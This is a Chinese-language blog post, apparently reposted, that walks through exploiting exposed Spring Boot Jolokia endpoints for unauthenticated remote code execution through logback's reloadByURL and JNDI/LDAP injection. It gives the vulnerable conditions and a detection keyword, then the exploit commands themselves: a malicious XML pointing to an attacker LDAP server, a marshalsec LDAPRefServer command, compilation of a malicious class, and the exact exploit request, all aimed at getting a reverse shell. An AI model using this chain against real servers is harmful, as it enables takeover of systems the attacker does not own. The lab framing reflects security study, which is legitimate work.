Spring未授權REC利用方式三(jolokia接口/jolokia Realm JNDI RCE)


一、漏洞背景

  /jolokia/list接口未授權利用

二、利用條件

  jolokia接口暴露

  spring使用了jolokia-core的依賴,並存在MBean

  JDNI注入有版本限制 JDK< 6u201/7u191/8u182/11.0.1 (LDAP)

三、漏洞確認

  /jolokia/list 接口搜索關鍵字: ch.qos.logback.classic.jmx.JMXConfigurator  和  reloadByURL

  

 

 

 四、漏洞復現

  1.開一個python臨時web

    python2 -m SimpleHTTPServer 80

   

 

  2.准備xml文件

  xml文件內容如下

<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>

  3.修改java文件,並以低版本編譯 ,443為nc監聽的端口

    javac -source 1.5 -target 1.5 JNDIObject.java

  

   4.啟動惡意注入類監聽1389 端口

     java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.183:80/##JNDIObject 1389

   5.POC  status200就是成功了

    /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.43.239!/example.xml

     

 

   6.判斷是否成功,從web服務響應看到 靶機環境加載了example.xml 並且 惡意類執行注入也加載了class說明大概率會成功返回shell。

    (我這里是用win系統IDEA搭建的本地環境,腳本是針對linux的所以無法接收到shell。)

    

 

  總結:RMI注入同理,JNDI注入的兩種方式都用JKD版本限制,和fastjson的反序列差不多,這個是多了一步加載xml的文件。

 

 

參考鏈接:

  https://github.com/LandGrey/SpringBootVulExploit#0x04jolokia-logback-jndi-rce


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM